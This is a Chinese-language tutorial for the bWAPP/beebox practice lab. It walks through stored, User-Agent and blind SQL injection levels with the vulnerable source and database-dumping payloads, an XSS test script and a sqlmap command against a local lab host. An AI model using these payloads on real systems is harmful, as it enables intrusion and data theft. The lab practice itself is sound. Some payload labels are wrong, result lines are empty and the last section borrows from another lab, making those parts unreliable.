beebox靶场A1 low 命令注入通关教程(下)
十八:SQL Injection - Stored (Blog)
其实大部分sql注入都是为了构造闭合,查看源码为
$sql = "INSERT INTO blog (date, entry, owner) VALUES (now(),'" . $entry . "','" . $owner . "')";
根据闭合构建爆库payload为 1', (select database()))#
爆表的payload为 1',(select group_concat(table_name) from information_schema.tables where table_schema=database()))#
爆字段为 1',(extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e))))#
爆数据为 1',(extractvalue(1,concat(0x7e,(select database()),0x7e))))#
这个存储型的页面显然还能插入xss脚本
<script>alert(77777)</script>
十九:SQL 注入 存储型 SQLite
查看源码为
$sql = "INSERT INTO blog (id, date, entry, owner) VALUES (" . ++$id . ",'" . date('Y-md', time()) . "','" . $entry . "','" . $owner . "');";
构造闭合为 ',''); 这个会生成一条空记录
',sqlite_version()); 会显示版本
报表语句为 ',(select name from sqlite_master where type='table'));
二十:SQL 注入 存储 (User-Agent)
刷新页面既是一次insert操作,写入内容是请求头 UserAgent
源码为
$sql = "INSERT INTO visitors (date, user_agent, ip_address) VALUES (now(), '" . sqli($user_agent) . "', '" . $ip_address . "')";
根据源码构造闭合为 1',(select database()))#
二十一:SQL 注入 盲注 - Boolean-Based
sql盲注太浪费时间,直接用自动化工具进行sqlmap的注入
注入的payload为:
sqlmap -u "http://192.168.150.128/bWAPP/sqli_4.php?title=1&action=search" --cookie="security_level=0; PHPSESSID=f5390b8d9d77525806c6938105bbda2c; has_js=1" --dbs
最后跑出来的数据库
跑出的表为
二十二:SQL 注入 - 盲 - 基于时间
管他三七二十一,直接sqlmap一把梭
爆的库为
爆的表为
二十三:SQL 注入 - 盲 (SQLite)
正常简单测试,输入1,会显示电影不存在,但当我们输入1 ' 时就会显示语法不正确,证明判断了sql语句,那么这个1 ' 可是是一个注入点 ,接下来我们测试 1' order by 6--+
这时页面仍照常回显,当order by 到7 时报错,证明改库有6列
接下来如果想爆库的话可以使用以下步骤
步骤1:判断数据库的长度。 在输入框中依次输入 lucy' and length(database())=x #(x为大于等于1的整数) 当显示存在时即为数据库长度 发现当x=7时显示存在,故数据库长度为7 步骤2:二分法查找数据库名 依次输入 lucy' and ascii(substr(databse(),1,1))>或<字符的ascii 值#, 通过比较输入字符的ascii值的显示正常与否来 逐个确定库名。 备注:substr(databse(),1,1)表示数据库名的第一个 字符, substr(databse(),2,1)表示数据库名的第二个字符, 依次类推 重复上述步骤,就可以得到完整的数据库名 pikachu。
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。 如若内容造成侵权/违法违规/事实不符,请联系我的编程经验分享网邮箱:veading@qq.com进行投诉反馈,一经查实,立即删除!